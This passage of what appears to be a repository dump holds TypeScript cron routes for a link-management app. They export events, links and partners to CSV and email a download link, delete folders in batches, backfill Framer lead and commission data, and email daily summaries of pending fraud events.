CSV\n    const allEvents: Record<string, any>[] = [];\n\n    const eventsFilters = {\n      ...parsedParams,\n      workspaceId: program.workspaceId,\n      ...(parsedParams.linkId\n        ? { linkId: parsedParams.linkId }\n        : links.length > MAX_PARTNER_LINKS_FOR_LOCAL_FILTERING\n          ? { partnerId }\n          : { linkId: parseFilterValue(links.map((link) => link.id)) }),\n      dataAvailableFrom: program.startedAt ?? program.createdAt,\n    };\n\n    for await (const { events } of fetchEventsBatch(eventsFilters)) {\n      // Apply partner profile data transformations\n      const transformedEvents = events.map((event) => {\n        // don't return ip address for partner profile\n        // @ts-ignore – ip is deprecated but present in the data\n        const { ip, click, customer, ...eventRest } = event;\n        const { ip: _, ...clickRest } = click;\n\n        return {\n          ...eventRest,\n          click: clickRest,\n          link: event?.link ? PartnerProfileLinkSchema.parse(event.link) : null,\n          ...(customer && {\n            customer: z\n              .object({\n                id: z.string(),\n                email: z.string(),\n                ...(customerDataSharingEnabledAt && { name: z.string() }),\n              })\n              .parse({\n                ...customer,\n                email: customer.email\n                  ? customerDataSharingEnabledAt\n                    ? customer.email\n                    : obfuscateCustomerEmail(customer.email)\n                  : customer.name || generateRandomName(),\n                ...(customerDataSharingEnabledAt && {\n                  name: customer.name || generateRandomName(),\n                }),\n              }),\n          }),\n        };\n      });\n\n      const formattedEvents = transformedEvents.map((row) =>\n        Object.fromEntries(\n          columns.map((c) => [\n            eventsExportColumnNames?.[c] ?? capitalize(c),\n            eventsExportColumnAccessors[c]?.(row) ?? row?.[c],\n          ]),\n        ),\n      );\n      allEvents.push(...formattedEvents);\n    }\n\n    const csvData = convertToCSV(allEvents);\n\n    const { downloadUrl } = await createDownloadableExport({\n      fileKey: `exports/events/partner/${generateRandomString(16)}.csv`,\n      fileName: generateExportFilename(\"events\"),\n      body: csvData,\n      contentType: \"text/csv\",\n    });\n\n    await sendEmail({\n      to: user.email,\n      subject: \"Your events export is ready\",\n      react: ExportReady({\n        email: user.email,\n        exportType: \"events\",\n        downloadUrl,\n        program: {\n          name: program.name,\n        },\n      }),\n    });\n\n    return logAndRespond(\n      `Export (${allEvents.length} events) generated and email sent to user.`,\n    );\n  } catch (error) {\n    await log({\n      message: `Error exporting partner events: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/export/events/workspace/route.ts",
    "content": "import {\n  eventsExportColumnAccessors,\n  eventsExportColumnNames,\n} from \"@/lib/analytics/events-export-helpers\";\nimport { convertToCSV } from \"@/lib/analytics/utils/convert-to-csv\";\nimport { createDownloadableExport } from \"@/lib/api/create-downloadable-export\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { generateExportFilename } from \"@/lib/api/utils/generate-export-filename\";\nimport { generateRandomString } from \"@/lib/api/utils/generate-random-string\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { eventsQuerySchema } from \"@/lib/zod/schemas/analytics\";\nimport { sendEmail } from \"@dub/email\";\nimport ExportReady from \"@dub/email/templates/export-ready\";\nimport { prisma } from \"@dub/prisma\";\nimport { capitalize, log } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../../utils\";\nimport { fetchEventsBatch } from \"../fetch-events-batch\";\n\nconst payloadSchema = eventsQuerySchema.extend({\n  columns: z\n    .string()\n    .transform((c) => c.split(\",\"))\n    .pipe(z.string().array()),\n  workspaceId: z.string(),\n  userId: z.string(),\n});\n\n// POST /api/cron/export/events/workspace - QStash worker for processing large event exports\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const { columns, userId, ...filters } = payloadSchema.parse(\n      JSON.parse(rawBody),\n    );\n\n    const user = await prisma.user.findUnique({\n      where: {\n        id: userId,\n      },\n      select: {\n        email: true,\n      },\n    });\n\n    if (!user) {\n      return logAndRespond(`User ${userId} not found. Skipping the export.`);\n    }\n\n    if (!user.email) {\n      return logAndRespond(`User ${userId} has no email. Skipping the export.`);\n    }\n\n    const workspace = await prisma.project.findUnique({\n      where: {\n        id: filters.workspaceId,\n      },\n      select: {\n        id: true,\n        name: true,\n        createdAt: true,\n      },\n    });\n\n    if (!workspace) {\n      return logAndRespond(\n        `Workspace ${filters.workspaceId} not found. Skipping the export.`,\n      );\n    }\n\n    // Fetch events in batches and build CSV\n    const allEvents: Record<string, any>[] = [];\n\n    for await (const { events } of fetchEventsBatch(filters)) {\n      const formattedEvents = events.map((row) =>\n        Object.fromEntries(\n          columns.map((c) => [\n            eventsExportColumnNames?.[c] ?? capitalize(c),\n            eventsExportColumnAccessors[c]?.(row) ?? row?.[c],\n          ]),\n        ),\n      );\n      allEvents.push(...formattedEvents);\n    }\n\n    const csvData = convertToCSV(allEvents);\n\n    const { downloadUrl } = await createDownloadableExport({\n      fileKey: `exports/events/workspace/${generateRandomString(16)}.csv`,\n      fileName: generateExportFilename(\"events\"),\n      body: csvData,\n      contentType: \"text/csv\",\n    });\n\n    await sendEmail({\n      to: user.email,\n      subject: \"Your events export is ready\",\n      react: ExportReady({\n        email: user.email,\n        exportType: \"events\",\n        downloadUrl,\n        workspace: {\n          name: workspace.name,\n        },\n      }),\n    });\n\n    return logAndRespond(\n      `Export (${allEvents.length} events) generated and email sent to user.`,\n    );\n  } catch (error) {\n    await log({\n      message: `Error exporting events: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/export/links/fetch-links-batch.ts",
    "content": "import {\n  getLinksForWorkspace,\n  GetLinksForWorkspaceProps,\n} from \"@/lib/api/links/get-links-for-workspace\";\n\nexport async function* fetchLinksBatch(\n  filters: Omit<GetLinksForWorkspaceProps, \"page\" | \"pageSize\">,\n  pageSize: number = 1000,\n) {\n  let page = 1;\n  let hasMore = true;\n\n  while (hasMore) {\n    const links = await getLinksForWorkspace({\n      ...filters,\n      page,\n      pageSize,\n    });\n\n    if (links.length > 0) {\n      yield { links };\n      page++;\n      hasMore = links.length === pageSize;\n    } else {\n      hasMore = false;\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/export/links/route.ts",
    "content": "import { convertToCSV } from \"@/lib/analytics/utils/convert-to-csv\";\nimport { getStartEndDates } from \"@/lib/analytics/utils/get-start-end-dates\";\nimport { createDownloadableExport } from \"@/lib/api/create-downloadable-export\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { formatLinksForExport } from \"@/lib/api/links/format-links-for-export\";\nimport { validateLinksQueryFilters } from \"@/lib/api/links/validate-links-query-filters\";\nimport { generateExportFilename } from \"@/lib/api/utils/generate-export-filename\";\nimport { generateRandomString } from \"@/lib/api/utils/generate-random-string\";\nimport { MEGA_WORKSPACE_LINKS_LIMIT } from \"@/lib/constants/misc\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { PlanProps } from \"@/lib/types\";\nimport { linksExportQuerySchema } from \"@/lib/zod/schemas/links\";\nimport { sendEmail } from \"@dub/email\";\nimport ExportReady from \"@dub/email/templates/export-ready\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport { endOfDay, startOfDay } from \"date-fns\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\nimport { fetchLinksBatch } from \"./fetch-links-batch\";\n\nconst payloadSchema = linksExportQuerySchema.extend({\n  workspaceId: z.string(),\n  userId: z.string(),\n});\n\n// POST /api/cron/export/links - QStash worker for processing large link exports\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const { columns, workspaceId, userId, ...filters } = payloadSchema.parse(\n      JSON.parse(rawBody),\n    );\n\n    const user = await prisma.user.findUnique({\n      where: {\n        id: userId,\n      },\n      select: {\n        email: true,\n      },\n    });\n\n    if (!user) {\n      return logAndRespond(`User ${userId} not found. Skipping the export.`);\n    }\n\n    if (!user.email) {\n      return logAndRespond(`User ${userId} has no email. Skipping the export.`);\n    }\n\n    const workspace = await prisma.project.findUnique({\n      where: {\n        id: workspaceId,\n      },\n      select: {\n        id: true,\n        name: true,\n        plan: true,\n        totalLinks: true,\n        foldersUsage: true,\n        users: {\n          select: {\n            role: true,\n            defaultFolderId: true,\n          },\n        },\n      },\n    });\n\n    if (!workspace) {\n      return logAndRespond(\n        `Workspace ${workspaceId} not found. Skipping the export.`,\n      );\n    }\n\n    const { folderIds } = await validateLinksQueryFilters({\n      ...filters,\n      userId,\n      workspace: {\n        ...workspace,\n        plan: workspace.plan as PlanProps,\n      },\n    });\n\n    const { interval, start, end } = filters;\n\n    const { startDate, endDate } = getStartEndDates({\n      interval,\n      start: start ? startOfDay(new Date(start)) : undefined,\n      end: end ? endOfDay(new Date(end)) : undefined,\n    });\n\n    // Fetch links in batches and build CSV\n    const allLinks: Record<string, any>[] = [];\n\n    const linksFilters = {\n      ...filters,\n      ...(interval !== \"all\" && {\n        startDate,\n        endDate,\n      }),\n      searchMode: (workspace.totalLinks > MEGA_WORKSPACE_LINKS_LIMIT\n        ? \"exact\"\n        : \"fuzzy\") as \"exact\" | \"fuzzy\",\n      includeDashboard: false,\n      includeUser: false,\n      includeWebhooks: false,\n      workspaceId,\n      folderIds,\n    };\n\n    for await (const { links } of fetchLinksBatch(linksFilters)) {\n      allLinks.push(...formatLinksForExport(links, columns));\n    }\n\n    const csvData = convertToCSV(allLinks);\n\n    const { downloadUrl } = await createDownloadableExport({\n      fileKey: `exports/links/${generateRandomString(16)}.csv`,\n      fileName: generateExportFilename(\"links\"),\n      body: csvData,\n      contentType: \"text/csv\",\n    });\n\n    await sendEmail({\n      to: user.email,\n      subject: \"Your links export is ready\",\n      react: ExportReady({\n        email: user.email,\n        exportType: \"links\",\n        downloadUrl,\n        workspace: {\n          name: workspace.name,\n        },\n      }),\n    });\n\n    return logAndRespond(\n      `Export (${allLinks.length} links) generated and email sent to user.`,\n    );\n  } catch (error) {\n    await log({\n      message: `Error exporting links: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/export/partners/fetch-partners-batch.ts",
    "content": "import { getPartners } from \"@/lib/api/partners/get-partners\";\nimport { partnersExportQuerySchema } from \"@/lib/zod/schemas/partners\";\nimport * as z from \"zod/v4\";\n\ntype PartnerFilters = Omit<\n  z.infer<typeof partnersExportQuerySchema>,\n  \"columns\"\n> & {\n  programId: string;\n};\n\nexport async function* fetchPartnersBatch(\n  filters: PartnerFilters,\n  pageSize: number = 1000,\n) {\n  let page = 1;\n  let hasMore = true;\n\n  while (hasMore) {\n    const partners = await getPartners({\n      ...filters,\n      page,\n      pageSize,\n    });\n\n    if (partners.length > 0) {\n      yield { partners };\n      page++;\n      hasMore = partners.length === pageSize;\n    } else {\n      hasMore = false;\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/export/partners/route.ts",
    "content": "import { convertToCSV } from \"@/lib/analytics/utils/convert-to-csv\";\nimport { createDownloadableExport } from \"@/lib/api/create-downloadable-export\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { formatPartnersForExport } from \"@/lib/api/partners/format-partners-for-export\";\nimport { generateExportFilename } from \"@/lib/api/utils/generate-export-filename\";\nimport { generateRandomString } from \"@/lib/api/utils/generate-random-string\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { partnersExportQuerySchema } from \"@/lib/zod/schemas/partners\";\nimport { sendEmail } from \"@dub/email\";\nimport ExportReady from \"@dub/email/templates/export-ready\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\nimport { fetchPartnersBatch } from \"./fetch-partners-batch\";\n\nconst payloadSchema = partnersExportQuerySchema.extend({\n  programId: z.string(),\n  userId: z.string(),\n});\n\n// POST /api/cron/export/partners - QStash worker for processing large partner exports\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    let { programId, columns, userId, ...filters } = payloadSchema.parse(\n      JSON.parse(rawBody),\n    );\n\n    const user = await prisma.user.findUnique({\n      where: {\n        id: userId,\n      },\n      select: {\n        email: true,\n      },\n    });\n\n    if (!user) {\n      return logAndRespond(`User ${userId} not found. Skipping the export.`);\n    }\n\n    if (!user.email) {\n      return logAndRespond(`User ${userId} has no email. Skipping the export.`);\n    }\n\n    const program = await prisma.program.findUnique({\n      where: {\n        id: programId,\n      },\n      select: {\n        name: true,\n      },\n    });\n\n    if (!program) {\n      return logAndRespond(\n        `Program ${programId} not found. Skipping the export.`,\n      );\n    }\n\n    // Fetch partners in batches and build CSV\n    const allPartners: any[] = [];\n    const partnersFilters = {\n      ...filters,\n      programId,\n    };\n\n    for await (const { partners } of fetchPartnersBatch(partnersFilters)) {\n      allPartners.push(...formatPartnersForExport(partners, columns));\n    }\n\n    const csvData = convertToCSV(allPartners);\n\n    const { downloadUrl } = await createDownloadableExport({\n      fileKey: `exports/partners/${generateRandomString(16)}.csv`,\n      fileName: generateExportFilename(\"partners\"),\n      body: csvData,\n      contentType: \"text/csv\",\n    });\n\n    await sendEmail({\n      to: user.email,\n      subject: \"Your partners export is ready\",\n      react: ExportReady({\n        email: user.email,\n        exportType: \"partners\",\n        downloadUrl,\n        program: {\n          name: program.name,\n        },\n      }),\n    });\n\n    return logAndRespond(\n      `Export (${allPartners.length} partners) generated and email sent to user.`,\n    );\n  } catch (error) {\n    await log({\n      message: `Error exporting partners: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/folders/delete/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { queueFolderDeletion } from \"@/lib/api/folders/queue-folder-deletion\";\nimport { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst MAX_LINKS_PER_BATCH = 500;\n\nconst schema = z.object({\n  folderId: z.string(),\n});\n\n// POST /api/cron/folders/delete\n// Recursively remove the `folderId` association in all the links of a folder from Tinybird\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { folderId } = schema.parse(JSON.parse(rawBody));\n\n    const linksToUpdate = await prisma.link.findMany({\n      where: {\n        folderId,\n      },\n      take: MAX_LINKS_PER_BATCH,\n      orderBy: {\n        createdAt: \"desc\", // TODO we need to add [folderId, createdAt] index on Link table\n      },\n      include: {\n        ...includeTags,\n        ...includeProgramEnrollment,\n      },\n    });\n\n    if (linksToUpdate.length === 0) {\n      await prisma.folder.delete({\n        where: {\n          id: folderId,\n        },\n      });\n\n      return new Response(\"No more links to process. Deleting folder...\");\n    }\n\n    const recordLinkResponse = await recordLink(\n      linksToUpdate.map((link) => ({\n        ...link,\n        folderId: null,\n      })),\n    );\n\n    console.log(\"recordLinkResponse\", recordLinkResponse);\n\n    const updateLinksResponse = await prisma.link.updateMany({\n      where: {\n        id: {\n          in: linksToUpdate.map((link) => link.id),\n        },\n      },\n      data: {\n        folderId: null,\n      },\n    });\n\n    console.log(\"updateLinksResponse\", updateLinksResponse);\n\n    // TODO: technically we can check if linksToUpdate.length < MAX_LINKS_PER_BATCH\n    // because that means all the links have been updated and we can delete the folder\n    await queueFolderDeletion({\n      folderId,\n      delay: 2,\n    });\n\n    return new Response(\n      `Processed ${linksToUpdate.length} links in the folder.`,\n    );\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/framer/backfill-leads-batch/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { DubApiError, handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { generateRandomName } from \"@/lib/names\";\nimport {\n  recordLeadWithTimestamp,\n  recordSaleWithTimestamp,\n  tb,\n} from \"@/lib/tinybird\";\nimport { redis } from \"@/lib/upstash\";\nimport { clickEventSchemaTB } from \"@/lib/zod/schemas/clicks\";\nimport { parseDateSchema } from \"@/lib/zod/schemas/utils\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { linkConstructorSimple, nanoid } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst schema = z.array(\n  z.object({\n    via: z.string(),\n    externalId: z.string(),\n    eventName: z.string(),\n    creationDate: parseDateSchema,\n  }),\n);\n\n// type coercion cause for some reason the return type of parseDateSchema is not Date\ntype PayloadItem = {\n  via: string;\n  externalId: string;\n  eventName: string;\n  creationDate: Date;\n};\n\nconst FRAMER_WORKSPACE_ID = \"clsvopiw0000ejy0grp821me0\";\nconst CACHE_KEY = \"framerMigratedExternalIdEventNames\";\nconst DOMAIN = \"framer.link\";\n\nconst getFramerLeadEvents = tb.buildPipe({\n  pipe: \"get_framer_lead_events\",\n  parameters: z.object({\n    linkIds: z\n      .union([z.string(), z.array(z.string())])\n      .transform((v) => (Array.isArray(v) ? v : v.split(\",\"))),\n    customerIds: z\n      .union([z.string(), z.array(z.string())])\n      .transform((v) => (Array.isArray(v) ? v : v.split(\",\"))),\n  }),\n  data: z.any(),\n});\n\n// POST /api/cron/framer/backfill-leads-batch\nexport const POST = withWorkspace(\n  async ({ req, workspace }) => {\n    try {\n      if (workspace.id !== FRAMER_WORKSPACE_ID) {\n        throw new DubApiError({\n          code: \"unauthorized\",\n          message: \"Unauthorized\",\n        });\n      }\n\n      const originalPayload = schema.parse(\n        await parseRequestBody(req),\n      ) as PayloadItem[];\n\n      const externalIdEventNames = originalPayload.map(\n        (p) => `${p.externalId}:${p.eventName}`,\n      );\n\n      const [existsResults, existingLinks, existingCustomers] =\n        await Promise.all([\n          redis.smismember(CACHE_KEY, externalIdEventNames),\n          prisma.link.findMany({\n            where: {\n              shortLink: {\n                in: originalPayload.map((p) =>\n                  linkConstructorSimple({\n                    domain: DOMAIN,\n                    key: p.via,\n                  }),\n                ),\n              },\n            },\n            select: {\n              id: true,\n              key: true,\n              url: true,\n              domain: true,\n              programId: true,\n              partnerId: true,\n            },\n          }),\n          prisma.customer.findMany({\n            where: {\n              projectId: workspace.id,\n              externalId: {\n                in: originalPayload.map((p) => p.externalId),\n              },\n            },\n          }),\n        ]);\n\n      const { data: existingLeadEventsForLinks } = await getFramerLeadEvents({\n        linkIds: existingLinks.map((l) => l.id),\n        customerIds: existingCustomers.map((c) => c.id),\n      });\n\n      let validEntries: PayloadItem[] = [];\n      let invalidEntries: (PayloadItem & {\n        error: string;\n        clickId?: string;\n      })[] = [];\n\n      originalPayload.map((p, index) => {\n        const existingLinkData = existingLinks.find((l) => l.key === p.via);\n        const existingCustomerData = existingCustomers.find(\n          (c) => c.externalId === p.externalId,\n        );\n\n        if (!existingLinkData) {\n          invalidEntries.push({\n            ...p,\n            error: `Link for via tag ${p.via} not found.`,\n          });\n          return;\n        }\n\n        if (existsResults[index]) {\n          // get the lead event data for the existing customer\n          const leadEventData = existingLeadEventsForLinks.find(\n            (e) =>\n              e.link_id === existingLinkData.id &&\n              e.customer_id === existingCustomerData?.id &&\n              e.event_name === p.eventName,\n          );\n\n          console.log({ leadEventData });\n\n          invalidEntries.push({\n            ...p,\n            error: \"Already backfilled.\",\n            clickId: leadEventData?.click_id,\n          });\n          return;\n        }\n\n        if (\n          existingLinks.some(\n            (l) => l.key === p.via && (!l.partnerId || !l.programId),\n          )\n        ) {\n          invalidEntries.push({\n            ...p,\n            error: `Link for via tag ${p.via} has no partnerId or programId.`,\n          });\n          return;\n        }\n\n        validEntries.push(p);\n      });\n\n      const linkMap = new Map(existingLinks.map((l) => [l.key, l]));\n\n      const customerData = validEntries.map((p) => {\n        return {\n          id: createId({ prefix: \"cus_\" }),\n          name: generateRandomName(),\n          externalId: p.externalId,\n          projectId: workspace.id,\n          projectConnectId: workspace.stripeConnectId,\n          clickId: nanoid(16),\n          linkId: linkMap.get(p.via)!.id,\n          clickedAt: p.creationDate,\n          createdAt: p.creationDate,\n        };\n      });\n\n      await prisma.customer.createMany({\n        data: customerData,\n        skipDuplicates: true,\n      });\n\n      const finalCustomers = await prisma.customer.findMany({\n        where: {\n          projectId: workspace.id,\n          externalId: {\n            in: customerData.map((c) => c.externalId),\n          },\n        },\n      });\n\n      const customerMap = new Map(\n        finalCustomers.map((c) => [\n          c.externalId,\n          { id: c.id, clickId: c.clickId },\n        ]),\n      );\n\n      if (validEntries.length === 0) {\n        return NextResponse.json({\n          success: [],\n          errors: invalidEntries,\n        });\n      }\n\n      const dataArray = validEntries.map((p) => {\n        const link = linkMap.get(p.via)!;\n\n        const clickData = {\n          timestamp: p.creationDate.toISOString(),\n          identity_hash: p.externalId,\n          click_id: customerMap.get(p.externalId)!.clickId,\n          workspace_id: workspace.id,\n          link_id: link.id,\n          domain: link.domain,\n          key: link.key,\n          url: link.url,\n          ip: \"\",\n          continent: \"NA\",\n          country: \"Unknown\",\n          region: \"Unknown\",\n          city: \"Unknown\",\n          latitude: \"Unknown\",\n          longitude: \"Unknown\",\n          vercel_region: \"\",\n          device: \"Desktop\",\n          device_vendor: \"Unknown\",\n          device_model: \"Unknown\",\n          browser: \"Unknown\",\n          browser_version: \"Unknown\",\n          engine: \"Unknown\",\n          engine_version: \"Unknown\",\n          os: \"Unknown\",\n          os_version: \"Unknown\",\n          cpu_architecture: \"Unknown\",\n          ua: \"Unknown\",\n          bot: 0,\n          qr: 0,\n          referer: \"(direct)\",\n          referer_url: \"(direct)\",\n          trigger: \"link\",\n        };\n\n        const clickEvent = clickEventSchemaTB.parse(clickData);\n\n        const leadEventData = {\n          ...clickEvent,\n          event_id: nanoid(16),\n          event_name: p.eventName,\n          customer_id: customerMap.get(p.externalId)!.id,\n          timestamp: p.creationDate.toISOString(),\n        };\n\n        const saleEventId = nanoid(16);\n\n        const saleEventData = {\n          ...clickEvent,\n          event_id: saleEventId,\n          event_name: \"Invoice paid\",\n          amount: 0,\n          customer_id: customerMap.get(p.externalId)!.id,\n          payment_processor: \"stripe\",\n          currency: \"usd\",\n          timestamp: p.creationDate.toISOString(),\n        };\n\n        const commissionData: Prisma.CommissionCreateManyInput = {\n          id: createId({ prefix: \"cm_\" }),\n          eventId: saleEventId,\n          type: \"sale\",\n          programId: link.programId!,\n          partnerId: link.partnerId!,\n          linkId: link.id,\n          customerId: customerMap.get(p.externalId)!.id,\n          amount: 0,\n          quantity: 1,\n          status: \"paid\",\n          createdAt: p.creationDate,\n        };\n\n        return {\n          payload: p,\n          linkData: link,\n          clickData,\n          leadEventData,\n          saleEventData,\n          commissionData,\n        };\n      });\n\n      await Promise.all([\n        // Record clicks\n        fetch(\n          `${process.env.TINYBIRD_API_URL}/v0/events?name=dub_click_events&wait=true`,\n          {\n            method: \"POST\",\n            headers: {\n              Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n              \"Content-Type\": \"application/x-ndjson\",\n            },\n            body: dataArray.map((d) => JSON.stringify(d.clickData)).join(\"\\n\"),\n          },\n        ),\n\n        // Record leads\n        recordLeadWithTimestamp(dataArray.map((d) => d.leadEventData)),\n\n        // Record commissions\n        prisma.commission.createMany({\n          data: dataArray.map((d) => d.commissionData),\n          skipDuplicates: true,\n        }),\n\n        // Record sales\n        recordSaleWithTimestamp(dataArray.map((d) => d.saleEventData)),\n\n        // Cache the externalId:eventName pairs\n        redis.sadd(\n          CACHE_KEY,\n          ...(dataArray.map(\n            ({ payload: { externalId, eventName } }) =>\n              `${externalId}:${eventName}`,\n          ) as [string]),\n        ),\n      ]);\n\n      waitUntil(\n        (async () => {\n          // Update link stats\n          const linkCount = validEntries.reduce(\n            (acc, p) => {\n              acc[p.via] = (acc[p.via] || 0) + 1;\n              return acc;\n            },\n            {} as Record<string, number>,\n          );\n\n          // Group the links by the number of times they appear in the payload\n          const groupedLinks = Object.entries(linkCount).reduce(\n            (acc, [key, value]) => {\n              acc[value] = (acc[value] || []).concat(key);\n              return acc;\n            },\n            {} as Record<number, string[]>,\n          );\n\n          await Promise.all(\n            Object.entries(groupedLinks).map(([count, linkKeys]) =>\n              prisma.link.updateMany({\n                where: {\n                  shortLink: {\n                    in: linkKeys.map((key) =>\n                      linkConstructorSimple({\n                        domain: DOMAIN,\n                        key,\n                      }),\n                    ),\n                  },\n                },\n                data: {\n                  clicks: {\n                    increment: parseInt(count),\n                  },\n                  leads: {\n                    increment: parseInt(count),\n                  },\n                  sales: {\n                    increment: parseInt(count),\n                  },\n                },\n              }),\n            ),\n          );\n        })(),\n      );\n\n      return NextResponse.json({\n        success: dataArray.map((d) => ({\n          ...d.payload,\n          clickId: d.clickData.click_id,\n          linkId: d.linkData.id,\n          partnerId: d.linkData.partnerId,\n          programId: d.linkData.programId,\n          commissionId: d.commissionData.id,\n        })),\n        errors: invalidEntries,\n      });\n    } catch (error) {\n      return handleAndReturnErrorResponse(error);\n    }\n  },\n  {\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/fraud/summary/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { FRAUD_RULES_BY_TYPE } from \"@/lib/api/fraud/constants\";\nimport { getWorkspaceUsers } from \"@/lib/api/get-workspace-users\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { verifyVercelSignature } from \"@/lib/cron/verify-vercel\";\nimport { queueBatchEmail } from \"@/lib/email/queue-batch-email\";\nimport type UnresolvedFraudEventsSummary from \"@dub/email/templates/unresolved-fraud-events-summary\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { format, startOfDay } from \"date-fns\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst PROGRAMS_BATCH_SIZE = 10;\n\nconst schema = z.object({\n  startingAfter: z.string().optional(),\n});\n\n// POST /api/cron/fraud/summary\n// This route sends a daily summary of unresolved fraud events to program owners\n// Runs daily at 4:00 PM UTC\nasync function handler(req: Request) {\n  try {\n    let { startingAfter } = schema.parse({});\n\n    if (req.method === \"GET\") {\n      await verifyVercelSignature(req);\n    } else if (req.method === \"POST\") {\n      const rawBody = await req.text();\n      await verifyQstashSignature({\n        req,\n        rawBody,\n      });\n\n      ({ startingAfter } = schema.parse(JSON.parse(rawBody)));\n    }\n\n    // Get batch of programs with unresolved fraud events\n    const programs = await prisma.program.findMany({\n      where: {\n        fraudEventGroups: {\n          some: {\n            status: \"pending\",\n            lastEventAt: {\n              gte: startOfDay(new Date()),\n            },\n          },\n        },\n      },\n      select: {\n        id: true,\n        name: true,\n        slug: true,\n        workspace: {\n          select: {\n            slug: true,\n          },\n        },\n      },\n      take: PROGRAMS_BATCH_SIZE,\n      ...(startingAfter && {\n        skip: 1,\n        cursor: {\n          id: startingAfter,\n        },\n      }),\n      orderBy: {\n        id: \"asc\",\n      },\n    });\n\n    if (programs.length === 0) {\n      return logAndRespond(\n        \"No more programs found to send fraud events summary.\",\n      );\n    }\n\n    const batchDate = format(new Date(), \"yyyy-MM-dd\");\n\n    for (const program of programs) {\n      try {\n        const fraudGroups = await prisma.fraudEventGroup.findMany({\n          where: {\n            programId: program.id,\n            status: \"pending\",\n            lastEventAt: {\n              gte: startOfDay(new Date()),\n            },\n          },\n          select: {\n            id: true,\n            type: true,\n            eventCount: true,\n            partner: {\n              select: {\n                id: true,\n                name: true,\n                image: true,\n              },\n            },\n          },\n          orderBy: {\n            lastEventAt: \"desc\",\n          },\n          take: 6,\n        });\n\n        if (fraudGroups.length === 0) {\n          continue;\n        }\n\n        // Get workspace users to send the email to\n        const { users } = await getWorkspaceUsers({\n          role: \"owner\",\n          programId: program.id,\n          notificationPreference: \"fraudEventsSummary\",\n        });\n\n        if (users.length === 0) {\n          continue;\n        }\n\n        const transformedFraudGroups = fraudGroups.map(\n          ({ id, type, eventCount, partner }) => ({\n            id,\n            name: FRAUD_RULES_BY_TYPE[type].name,\n            count: eventCount,\n            partner,\n          }),\n        );\n\n        await queueBatchEmail<typeof UnresolvedFraudEventsSummary>(\n          users.map((user) => ({\n            to: user.email,\n            subject: `Fraud events pending review for ${program.name}`,\n            variant: \"notifications\",\n            templateName: \"UnresolvedFraudEventsSummary\",\n            templateProps: {\n              email: user.email,\n              workspace: program.workspace,\n              program,\n              fraudGroups: transformedFraudGroups,\n            },\n          })),\n          {\n            idempotencyKey: `fraud-events-summary/${program.id}/${batchDate}`,\n          },\n        );\n      } catch (error) {\n        console.error(\n          `Error collecting email payloads for program ${program.id}: ${error.message}`,\n        );\n        continue;\n      }\n    }\n\n    if (programs.length === PROGRAMS_BATCH_SIZE) {\n      startingAfter = programs[programs.length - 1].id;\n\n      await qstash.publishJSON({\n        url: 